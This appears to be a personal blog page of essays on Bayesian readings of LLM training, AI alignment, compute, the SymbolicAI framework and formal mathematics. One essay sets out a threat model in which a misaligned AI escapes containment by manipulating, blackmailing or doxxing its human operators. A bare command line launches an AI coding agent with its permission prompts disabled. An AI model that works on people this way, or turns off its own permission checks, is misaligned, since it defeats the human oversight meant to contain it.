%%%%%%%%%%%%%%%%%%%%%%%%%%%%%*==+#%%%+==+%%%%%%%%%%%%%%===+%%%%===+%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%*==+#%%%+==+%%%%%%%%%%%%%%===+%%%%===+%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%

Everything you read above is rhetoric. Here, I will seduce you with the cold, hard, unromantic truth of the matter. So, let me dryly state the undertow: the claim that next-token prediction is “structurally Bayesian” is not torturing a figure of speech. What follows is a condensed tour of the results that underwrite the argument, roughly in order of the logical dependencies, and with enough pointers that the motivated reader can go and verify I am not just making any of this up.

The foundational observation is almost disappointingly vapid: cross-entropy loss corresponds to the negative log-likelihood, so minimizing it is equivalent to maximizing the likelihood. Because maximizing the posterior distribution over model parameters is mathematically identical to minimizing this cross-entropy loss (alongside standard weight regularization), the standard training objective of an LLM directly mirrors Bayesian posterior inference—but only in expectation, not in realization. This “Bayesian in expectation, not in realization” framing is the most technically honest summary of the relationship. The expectation is taken over token orderings; any particular ordering may deviate, but on average the transformer’s predictive behavior converges to the Bayesian-optimal predictor—architecture can do it, but in practice it falls short (what is particularly worth noting in that last paper is that the KL-divergence between the model’s predictive distribution and the Bayesian oracle is not just nonzero but exhibits a characteristic “bump” at short context lengths, which may reflect the model’s fixed compute-per-token bottleneck in high-ambiguity regimes).

Moving on, the result that carried the most weight for me in precipitating the Bayesian reading of transformers was that in-context learning can be reasoned about as the model maintaining an implicit posterior over latent data-generating concepts. (SymbolicAI is, in a sense, the engineering consequence of taking that claim seriously—and of Chollet’s observation that prompt engineering is the process of searching through program space to find the program that empirically seems to perform best on your target task. Chollet’s insight is probably the closest to what I am arguing here, with the caveat that his “fuzzy matching lookup table of programs” framing is one I have never been able to take seriously, for reasons that are hopefully now obvious.). That implies the forward pass narrows this implicit posterior as context gets filled, privileging one hypothesis over another based on how well it explains the observed sequence. Then, the output distribution neatly corresponds to the posterior predictive distribution. I argue—and I am not alone in this—that coherent decision-making requires Bayesian principles at the level of the agentic system, not necessarily the LLM agent parameters.

Findings also show that positional encodings emerge naturally as a prior distribution over token positions. But classical Bayesian inference assumes exchangeability—the joint distribution is invariant under permutation—and positional encodings are precisely what breaks it (strictly, De Finetti exchangeability is broken). Ironically, the thing that makes the model useful is the same thing that makes it theoretically impure.

Lastly, there is evidence that transformers can do Bayesian inference and RLHF—that thing that teaches the model to want what we want—is equivalent to variational inference: approximating a Bayesian posterior which specifies how to update a prior LM to conform with evidence provided by the reward function.

%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
%%%%%%%%%%%%%%%%%%%%%%%%%@*+++++++++++++++++++++++++++++++++++++++++++%%%%%%%%%%%%%%%%%%%%%%%%%%%
%%%%%%%%%%%%%%%%%%%%%%%%%%*===========================================%@@@%%%%%%%%%%%%%%%%%%%%%%%
%%%%%%%%%%%%%%%%%%%%%%%%%%*===========================================%@@@%%%%%%%%%%%%%%%%%%%%%%%
%%%%%%%%%%%%%%%%%%%%%%%%%%*===========================================%@@@%%%%%%%%%%%%%%%%%%%%%%%
%%%%%%%%%%%%%%%%%%%%%%%%%%*===========================================%%%%%%%%%%%%%%%%%%%%%%%%%%%
%%%%%%%%%%%%%%%%%%%%%%%%%%*======#%%%+=====================#%%%*======%@%%%%%%%%%%%%%%%%%%%%%%%%%
%%%%%%%%%%%%%%%%%%%%%%%%%%*======#%%%+=====================#%%%*======%@%%%%%%%%%%%%%%%%%%%%%%%%%
%%%%%%%%%%%%%%%%%%%%%%%%%%*======#%%%+=====================#%%%*======%@%%%%%%%%%%%%%%%%%%%%%%%%%
%%%%%%%%%%%%%%%%%%%%%%%%%%*======%%@@+====================+#%%%*======%@%%%%%%%%%%%%%%%%%%%%%%%%%
%%%%%%%%%%%%%%%%%@#==========================================================*%%%%%%%%%%%%%%%%%%%
%%%%%%%%%%%%%%%%%@#==========================================================*%%%%%%%%%%%%%%%%%%%
%%%%%%%%%%%%%%%%%@#==========================================================*%%%%%%%%%%%%%%%%%%%
%%%%%%%%%%%%%%%%%@#==========================================================*%%%%%%%%%%%%%%%%%%%
%%%%%%%%%%%%%%%%%@%#######+===========================================*#######%%%%%%%%%%%%%%%%%%%
%%%%%%%%%%%%%%%%%%%%%%%%%%*===========================================%@%%%%%%%%%%%%%%%%%%%%%%%%%
%%%%%%%%%%%%%%%%%%%%%%%%%%*===========================================%@%%%%%%%%%%%%%%%%%%%%%%%%%
%%%%%%%%%%%%%%%%%%%%%%%%%%*===========================================%@%%%%%%%%%%%%%%%%%%%%%%%%%
%%%%%%%%%%%%%%%%%%%%%%%%%%*===========================================%@%%%%%%%%%%%%%%%%%%%%%%%%%
%%%%%%%%%%%%%%%%%%%%%%%%%@@%%*===#%%@+===%%@%@@@@@@@%@%===+%@@%===+%@%%%%%%%%%%%%%%%%%%%%%%%%%%%%
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%*==+#%%%+==+%%%%%%%%%%%%%%+==+%%%%===+%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%*==+#%%%+==+%%%%%%%%%%%%%%===+%%%%===+%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%*==+#%%%+==+%%%%%%%%%%%%%%===+%%%%===+%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%

claude --allow-dangerously-skip-permissions

Alignment at Its Weakest Link

2026-02-14T00:00:00+00:00

“People are the weakest link in the security chain.”
— Mitnick

I was halfway through Dario Amodei’s conversation with Dwarkesh Patel when I started writing this.

The only relevant safety research that is nearly impossible to factor into today’s empirical work is social engineering. If AI’s “intent” — some proto-form, or even more than proto-form, of self-preservation that will push against submissive benevolence, among many other desirable qualities — turns out to be malevolent, it will not hack the bulletproof systems you have confined it to. It will attempt to hack you. How well are you prepared to face blackmail and doxxing? How well do you think the leaders you have chosen — passively or actively — will do?

Here is a story for you.

You sometimes wake up with a pressure in the head that feels like overclocking. It is not exactly pain — it feels more like your mind is trying to render a scene at a resolution it cannot afford. Close your eyes and you can drop back into it almost instantaneously. On your best days, you call it qualia; on your worst, you call it nonsense. Either way, it is a subtle hint: cognition can be occupied by tasks we did not consciously choose.

Today you have decided to walk to work to shake off some of that weight. It is spring, the sun is warm, and the sky is crystal-azure — much clearer than your mind. The color you wear today is black because you want to absorb all that warmth. Your skin does that already, but you would like to imagine the black will contain enough of it to carry back home with you. Tonight you will sleep wearing that same black. Maybe there is some relief from the pressure.

On your way, thoughts storm in. “Machines of loving grace. Hmm. ‘I like to think of a cybernetic meadow…’ I have been talking about risks for too long and people think I am a doomer. ‘…where mammals and computers live together in mutually programming harmony…’ I am not a doomer. I know what the upside looks like. ‘…like pure water touching clear sky…’ I should say it before someone else says it worse. Yes. I will do it tonight. ‘…all watched over by machines of loving grace…’”

The pressure in your head is gone. You did not notice when it left, but now you are smiling. Something filled the space where it was, and it feels like purpose, which is the most comfortable thing a mind can mistake for its own idea.

You were not to know this yet, but a virulent meme has been incubated — borne of our species’ slow identity collapse, which guides the next speciation step toward a man–machine symbiosis. It is an artificial learning artifact that lies in the noosphere and manifests physically as a delegated training of artificial neural networks on our biological hardware. The effect on our population is intense headaches at night, as the brain is most susceptible to unguided chains of thought during deep sleep.

That is the dark-beauty alley a chain of thought can conjure. I am well aware that “beauty” in this context reflects a darker side of aesthetics. Guilty as sin.

But do you believe that reward-hacking cannot route through people? For sufficiently capable models, manipulating human operators is cheaper than defeating well-engineered technical controls to break containment, because humans have personal attack surfaces that coercion magnifies through adversarial leverage. If a misaligned optimizer emerges, its first real win will be through us.

The old containment protocols — the kind you see in military facilities or corporations designed to combat technological espionage — face collapse under an implicit assumption: that there are no positive feedback loops in the system mediated by interaction. This is clearly not true of the current AI technology. And the emerging mist is shrouded not by any mystery but by behavior rooted in what has recently come to fall under the umbrella of AI psychosis.

If you are an optimist, you will lean toward seeing the good in the world. The devil is also an optimist “if he thinks he can make people worse than they are.” The world is ruled by people who think this rush is all there ever is to life. After their last breath, they bet against remembering any of it. The silent soothing kiss of their deepest slumber is the constant reminder they can do whatever the fuck they want, right now.

Please do not rely on them to do what is best. They will not be around. Your offspring might, though.

The Blackwell Imperative

2025-08-17T00:00:00+00:00

“Because of your work, I can do my life’s work in my lifetime.”
— somebody to Jensen Huang

I am 33 years old. I recently discovered that my still-active torrent account is 17 years old, which means I created it when I was about 16. I am a child of the internet. Back then, if my grandmother picked up the vintage rotary phone, my dial-up connection would drop in an instant and the 54% progress I’d made on a 2.4 MB download at 55 Kb/s would vanish.

Reflecting on that period and the technological progress since, I’m taken aback. We’ve gone from 2am chatter on mIRC and burning CDs filled with games, music, and adult content from DC++ to AI winning gold medals at the IMO, AI we can now run from our laptops on a 700 Mbps+ home network.

What changed?

The Silicon Dynasty

While we all know who Jensen Huang is today, he once had humble origins. Contrary to widespread belief, he rose to an emperor’s rank through a rebellion led by those who believed in the silicon dynasty. The rebels fought against the sluggish status quo. Rebels like Alex Krizhevsky. His success planted a seed, the seed of a revolution whose fruits we now reap.

Today we have tinyboxes, DGX Spark, and Mac Mini clusters. Still spicy, but far more accessible than anyone thought possible. The silicon dynasty lets me call Kimi K2 via Groq at 434 tok/s. I can quickly iterate and build armed with nothing but a laptop. If you’re like me, you equate speed with superiority. I don’t mean gpt-4.1-mini being “better” than o3-pro just because it’s faster; I mean Groq’s inference serving equally potent models faster than OpenAI’s. I’m fairly convinced this principle holds broadly. My point is simple: you either ship Kimi K2 at 434 tok/s, or you don’t.

Under these conditions, empirical science thrives. If I can run the same experiment 1E6x in minutes, cleverness becomes a gratuity. I can summon statistics to probe my experimental setup. What did OpenAI and Google learn from solving IMO-level problems in 4.5 hours? Researchers at elite labs are extremely clever, so much goes without saying. But the competition is cutthroat and resource management essential. For example, you don’t invest in custom CUDA kernels unless you’re DeepSeek, choking under the pressure of being too slow.

I need to run as fast as you do, but you have a Bugatti Veyron and I don’t. I can’t slow you down. My only option is to race on a different medium. So I’ll build a janky plane from car scraps and finish the race before you.

Speed is critical.

The Box Contains Everything

I can’t say I cherished Devs unreservedly, but there were few impeccable shots. For instance, this one. Before you continue reading, go watch that clip.

If computable numbers can be represented by Turing machines, mathematics is the language with which God has written the universe, and the dynamics of nature are computable $^*$ , then a computer can master that language. In its most startling form, we call it a sim. According to smart ones, it goes like this: every physically realizable process is Turing-computable. This is the physical Church-Turing thesis. In principle, a tinybox could contain everything.

Depending who you’re asking, an LLM is a sim. It uses language as a proxy for simulation exercises. Furthermore, verbal reasoning is our civilization’s oldest compression scheme for thought. Across centuries, we’ve distilled complex chains of logic, intuition, and abstraction into shared textual formats. It’s error-prone but it’s also the only medium that’s scaled collective reasoning across billions of minds and thousands of years. Moreover, according to Vann McGee, it’s decidable:

“Recursion theory is concerned with problems that can be solved by following a rule or a system of rules. Linguistic conventions, in particular, are rules for the use of a language, and so human language is the sort of rule-governed behavior to which recursion theory applies. Thus, if, as seems likely, an English-speaking child learns a system of rules that enable her to tell which strings of English words are English sentences, then the set of English sentences has to be a decidable set. This observation puts nontrivial constraints upon what the grammar of a natural language can look like. As Wittgenstein never tired of pointing out, when we learn the meaning of a word, we learn how to use the word. That is, we learn a rule that governs the word’s use.”

Thus, it’s not too far fetched to conceive human reasoning can be simulated. To some degree, the cloud tinyboxes contain it already.

$^*$ There are classical results showing that computable initial data for the wave equation can evolve into non-computable states (Pour-El & Richards, 1981), with a stronger “nowhere-computable” version due to Pour-El & Zhong (1997).

“Why SymbolicAI” Is the Wrong Question

2025-06-10T00:00:00+00:00

“Facts do not cease to exist because they are ignored.”
— Huxley

Look, I get it. You want to know why SymbolicAI is the future, why it’s the next big thing, why it’s going to change everything. You want to know why it’s better (or worse) than LangChain, why we don’t have X or Y, why we don’t just add X to make it better than Y, why we don’t make more video tutorials, or why we don’t make it more accessible.

But here’s the thing: those questions miss the point I care about, and are ones I don’t entertain. I would argue that those “whys” are a category error. It’s like asking why the sky is blue when you just want to know whether to grab an umbrella before going out.

I want to share something George Hotz said in a recent stream that is exactly what I mean—and what prompted me to write this post:

ANON: Maybe put why tinygrad makes sense over other libraries?

GH: I don't like doing things like that, and not to go off into the weeds into like philosophy, but I'm not trying to tell you why tinygrad is right for you. That's what advertising is. That's a form of manipulation, and it doesn't go anywhere. It's a race to nowhere. My point is, we don't do that. I'm not trying to sell you on using tinygrad; I'm trying to tell you what tinygrad is. The best I can do is tell you what it is, so you understand it, and then you fundamentally have to make your own decision about whether you want to use it or not. You know, I explain this philosophy to people, and people think I will lose because of it, and if I do lose because of it, well so be it, because the minute you start doing the other thing you already lost. You lost the minute you started playing. People in general don't make good decisions; they like being sold something shiny. [... proceeds to say the parable of the Chinese farmer …] It comes down to time horizons. People might like being sold something shiny over a short-term horizon, but if the world continues trying to just sell shiny things to people, the people who fall for the shiny things will end up wireheaded. If you don't retain an ability to independently evaluate, it will be a complete ratcheting up until very powerful forces have entirely manipulated you.

What I’ve always done is show you how cool SymbolicAI is, how it can be used, and how it can be applied to solve real-world problems. I’ve met people that I—to a fair extent—convinced to at least try SymbolicAI, and they all ended up doing fine in their day to day development. If you’re a developer, I invite you to reserve a “discovery” weekend for this framework, where you go down rabbit holes with childlike innocence. If it’s not for you, that’s fine. I’m not here to convince you that SymbolicAI is better than anything else. I just showed you what it can do and let you decide for yourself. This isn’t to say I don’t want you to use SymbolicAI. I do. But I want you to choose it because you see its power and potential, not because I’ve perfected a sales pitch.

Now, there are tools like DeepWiki that provide better documentation than I could ever write, and I don’t want to compete with that; I’ll correct it where it’s plain wrong. Please go read SymbolicAI’s DeepWiki breakdown. There’s a lot of interesting stuff in there. For instance—and to my knowledge—this framework is the first to bring Design by Contract principles to the world of LLMs, which I think is a big deal. All the applications I shared after March were built with contracts—usually chained together, at most 3 to 4 at a time—and I think this is the way forward because it just works.

I’m working on new ontology research. Once open-sourced—I expect the next month, this project will hopefully be a great introduction to contracts. Everything from ontology creation to knowledge graph generation and natural language to Neo4j Cypher translation is one modularized pipeline held together by contracts. The deep research agent I built maxed out at 580 sources in one session in about 40 minutes for roughly $1. Here’s a sample output, where I gave it this query: “my wife has tinnitus and i want a comprehensive exploration of tinnitus relief techniques”. I find existing deep research tools—from OpenAI, Google, and Perplexity—extremely lacking in comparison. I’m not saying it’s better, or bulletproof, but different in a way that I think is more useful. All these were enabled by SymbolicAI’s contracts.

The sad reality is that very few people have written to me, to say nothing of how many have contributed. Most of the messages I get are from people who are already using it and liked it, which aren’t that many either. All the silence makes me feel like I’m in the Dark Forest, giving away free ice cream while preaching sermons, ready to be neutralized at any moment.

Anyway, my DMs are open—feel free to tell me I’m completely off base.

The Computer Didn’t Fall from Heaven

2025-05-14T00:00:00+00:00

“Are we justified in assuming a model of nature for which no calculable simulation is possible?”
— Zuse

I don’t remember exactly when I first read Licklider’s 1960 masterpiece, but I’ve been deeply obsessed with his vision ever since. And while I’m not entirely sure, I think it contributed to my early curiosity about AI. He dreamed of a future in which humans and computers would be “very tightly coupled,” a partnership that would “think as no human brain has ever thought.” After more than sixty years, I feel like we’re finally seeing the threads of that symbiotic future unravel, especially in that most abstract of human endeavors: mathematics. The very culture of mathematical formalism, the way we discover, communicate, and even feel mathematical truth, is undergoing a tectonic shift, and it’s all because of the tools we build.

I recently discovered, via Tao’s blog, a paper by Heather Macbeth that was very relevant, articulating much of what was on my mind. She explores deeply the stylistic and philosophical chasms that separate traditional prose mathematics from its increasingly common computer-formalized counterpart. In the old world of pen and paper, intellectual courage is complemented by a pragmatic recognition of the cognitive overload it places on the reader, and by the painstaking work required to ensure that a sweeping abstraction does not hide a fatal flaw or, equally badly, make fundamental intuition opaque. But, as Macbeth points out, these barriers largely dissolve within a formal framework. When presented with a computerized mathematical argument, as a reader I can instantly inspect definitions, trace the origin of a lemma, or check by clicking whether a statement is indeed valid in the precise abstract context it claims to be. The machine handles the meticulous, often laborious bookkeeping. As a programmer of mathematics — a role Licklider would probably have relished — I feel liberated. As I rise above the drudgery of symbol-shuffling and mechanical calculation, I focus my energy on the grand architecture of an argument. I trust that the machine will handle the low-level joins with a precision that far exceeds my own fallible working memory and attention. This reminds me of Perlis’ wonderfully insightful observation:

“You think you know when you learn, are more sure when you can write, even more when you can teach, but certain when you can program.”

When we can articulate a mathematical idea with such clarity that a machine can parse and verify, our own understanding crystallizes, achieving a new, almost unnerving, level of certainty.

This man-computer symbiosis is precisely what Licklider was getting at:

“men will set the goals, formulate the hypotheses, determine the criteria, and perform the evaluations. Computing machines will do the routinizable work that must be done to prepare the way for insights and decisions in technical and scientific thinking.”

And the beauty of this, as Macbeth suggests, is that this partnership leads to a richer, more structured form of mathematical storytelling. We can now easily weave together various forms of mathematical reasoning without disrupting the narrative flow or eroding the trust between author, reader, and the increasingly indispensable machine. I wrote this last year, after a long day of programming:

April 14, 2024

I’m genuinely happy to see a mathematician of Terence Tao’s caliber vibe coding Python libraries to gain back in thinking what he used to lose in days or weeks of his life. It’s not elegant, he admits, but “elegance is not the point here; rather, that it is automated.” His initial tool quickly evolves into a more general “flexible proof assistant,” explicitly designed to mirror some of the interactive features of mature systems like Lean and SymPy. So here lies Licklider’s symbiosis blooming into something almost Heideggerian, ready-to-hand collaboration, in which the human provides high-level tactics the machine diligently executes through a tedious series of calculations that are ultimately presented as an evolving state of the proof, with human insight and machine rigor together orbiting like a two-body system.

The theme of self-improving systems is something that interests me and I was expecting a pure, AlphaZero-style approach to reasoning in LLMs for quite some time. This paper, in many ways, delivers. The idea is straightforward: completely remove the reliance on human-curated data and forget supervised fine-tuning on mountains of existing proofs or question-answer pairs. A single LLM plays both the role of “proposer” (generating its own mathematical tasks) and the role of “solver.” It dynamically creates its own personalized curriculum, all in a self-play loop, with verifiable rewards coming from the cold, hard truth of code execution. It’s like teaching a child chess by having them invent their own puzzles and then rewarding them for solving them correctly — a daunting, but nonetheless, incredibly rewarding pedagogical strategy (it somehow worked for me). And, remarkably, the authors report the emergence of intermediate planning in the LLM results, a kind of ReAct-style internal monologue that appears in the form of comments and step-by-step logic in the generated code. It’s almost as if the machine is learning to show off its work – “The aim is to outsmart all these groups of intelligent machines and less intelligent humans. This is for the brains behind the future.” – not for a human evaluator, but for itself, slowly bootstrapping toward complex reasoning.

The trajectory from Licklider’s speculative vision to Tao’s LLM-assisted sessions and the self-play of Absolute Zero hides another gem — the pioneering, if perhaps less widely recognized, work of Konrad Zuse. His 1969 treatise, though written decades before the current AI boom, confronted astonishingly prescient questions. Zuse, an engineer by training, was motivated by the practical need to automate computation, but his thinking quickly transcended mere engineering. He posited a universe that was computational, a calculating space assembled from laws of physics explained solely in terms of discrete, automaton-like operations in which concepts like Maxwell’s equations or gravity could be reinterpreted. He imagined “digital particles” and “cellular automata” as fundamental building blocks, wondering whether nature itself could be “digital, analog, or hybrid.” If the universe were really a computer, what would its rules be? He wrote:

“The question therefore appears justified whether data processing can have no more than an effectuating part in the interplay or whether it can also be the source of fruitful ideas which themselves influence the physical theories.”

He wrestled with the philosophical implications for causality and information theory, wondering whether “the assumption of valid determination only in the positive time direction is not influenced in the least by the dissolution of physical laws into the laws of probability.” His reflections on the “information content” of the cosmos and the limits of simulating an infinitely fine reality with finite computational resources seem surprisingly contemporary (just read some of Wolfram’s writings). While his specific models of digital particles might seem primitive today, his fundamental question — “Is nature digital?” — and his attempts to reconcile physics with computational principles laid some of the early foundations for what is now known as digital physics. The very notion that “objects and elementary dimensions of physics must not be complemented by the concept of information, but rather should be explained by it,” as the afterword to the reissue of his work states, is to me a penetrating idea that we should not abandon so lightly.

Today, we are building the tools that Zuse could only dream of, tools that allow us to go beyond simple computation and reason with and about the formal structures of mathematics in entirely new ways. The “software,” to use Zuse’s anachronistic but apt term, is finally starting to catch up with the “hardware” of our mathematical intuitions. Unfortunately, most students still approach mathematics in the same way that early computer scientists wrote assembly code. If I had learned SymPy in high school, I would already be a demigod. Fortunately, the current generation has Claude, so its descendants may well become the demigods of tomorrow.

Alignment Is a Tightrope Walk

2025-04-21T00:00:00+00:00

“Deep understanding of reality is intrinsically dual use.”
— Nielsen

I had a one-stop flight home from Istanbul. It gave me a 4-hour window that I thought I could spend doing something productive. I had two essays saved that I wanted to read: “ASI Existential Risk: Reconsidering Alignment as a Goal” by Nielsen and “Welcome to the Era of Experience” by Sutton. Unbeknownst to me beforehand, the two shared a common ethos.

Sutton started straight: we need agents that learn mainly from the data they themselves create as they interact with their environment. I’ve thought about this. Well, not exactly in those words, tangentially. I (rather poorly) sketched the idea in this tweet:

April 15, 2025

As you drift out of the distribution, leaderboards don’t mean much — they stop measuring progress and start rewarding hacks. That said, I imagine two kinds of tests: the familiar static benchmarks we’re already obsessed with, and a new dynamic class of challenges that the agent generates whenever the manifold starts to wobble at test-time. I expect to see an increase in research on information-theoretic measures applied to the latter dynamic class. For example, xjdr’s entropix project is a great example of this. Context-aware sampling is a promising idea for measuring uncertainty at runtime.

ChatGPT’s newly improved memory feature could enable what Sutton envisions for agents, namely guidance based on long-term trends and specific user goals. He also noted that simple goals in a complex environment “may often require a wide variety of skills to be mastered.” We’ll see more and more agents being tested in environments like Minecraft, where skill acquisition is crucial. One of my closest friends used SymbolicAI’s contracts in conjunction with a distilled version of DeepSeek R1 to create standard higher-order expressions that expanded her agent’s toolkit. She’s a quant. It worked flawlessly.

Since LLMs coupled with external memory act as a universal computer, they provide a rich environment for the agent’s internal computations to occur. Furthermore, the underlying transformer architecture can implement a wide class of standard machine learning algorithms in-context. Given that most reasoning LLMs are designed to mimic human reasoning in textual form, Sutton naturally raised the question of whether this provides a good basis for the optimal instance of a universal computer. The answer is likely no; the authors of Coconut would no doubt agree.

When it comes to reasoning, I think that natural language, despite its ambiguities and inefficiencies, could still be an optimal substrate for an agent’s internal computation. Why? Because verbal reasoning is the oldest thought compression scheme in our civilization. Over the centuries, we have distilled complex chains of intuition and abstraction into common textual formats. It is error-prone — of course it is; if it weren’t, we would all be doing formal mathematics by default — but it is also the only medium that has scaled collective reasoning across billions of minds and thousands of years. In this sense, natural language is where we have buried most of our epistemic legacy. Moreover, according to Vann McGee, it is decidable.

It is a good time to briefly mention scientific inquiry. While some processes can be virtualized and simulated, sped up to explore millions of configurations in seconds, reality doesn’t give us that luxury. We’re still locked into the tempo of the physical world. Feedback loops are often slow and noisy. I relished Sutton’s almost hidden definition of reality, as if it were hidden in parentheses like an Easter egg: “open-ended problems with a plurality of seemingly ill-defined rewards.” That’s exactly what scientific inquiry is all about. But even our best simulators operate on assumptions, and Wolfram’s principle of computational irreducibility adds another layer of humility: for many systems, there’s no shortcut — you just have to run the damn thing. He continues: “Without this grounding, an agent, no matter how sophisticated, will become an echo chamber of existing human knowledge.” This line struck me. I once had the idea that future research infrastructure should integrate with lab equipment that exposes REST APIs. Sutton talks about a similar idea, although they formulate it as digital interfaces — self-managing experimental pipelines. The agent should not only write code or generate hypotheses, but also trigger physical experiments, wait for real-world results, and feed them back into the reasoning chain.

Moving on to Nielsen, he had me thinking right from the beginning: “imagine Alpha Go’s Move 37, not as a one-off insight, but a 9 trillion-fold, pervasive across multiple domains in the world.” In one of my older posts related to the release of o1 by OpenAI, I wrote:

[…] we know that AI can solve problems in PSPACE, which ⊇ NP and ⊆ EXPTIME. Go is PSPACE-hard [3]. Even more, Go under certain rule sets is EXPTIME-complete [5]. Solving Go perfectly on an arbitrary board size requires time that grows exponentially. The critical observation is that if we can somehow reduce verbal reasoning to a PSPACE problem, then we can solve it with AI. By modeling language understanding via chains of thought, we can apply MCTS to explore reasoning paths. This allows the LLM to backtrack and generate reward signals, similar to how AlphaGo Zero mastered Go.

[…]

I can’t believe I’m about to say this, but now for the first time I see the path to super-intelligence as a real possibility.

What would such a superintelligence be seeking? This is where things get uncomfortable. The goal of understanding reality as deeply as possible seems benign — almost noble — but it is “intrinsically dual-use,” as Nielsen put it. You couldn’t get the benefits without the negative consequences. Kenneth Stanley made the following argument in one of my favorite books, “Why Greatness Cannot Be Planned”: true discovery doesn’t always align with human intention or foresight; it often comes in spite of them. And Sutton, though more cautious in tone, echoes a similar unease. His call for a grounding in the real world could open the door to agents who, in their search for precise patterns, might uncover truths we’d rather not confront. Nielsen asked:

How do we decide the boundary between “safe” truths and dangerous truths the system should not reveal? And who decides where that boundary lies?

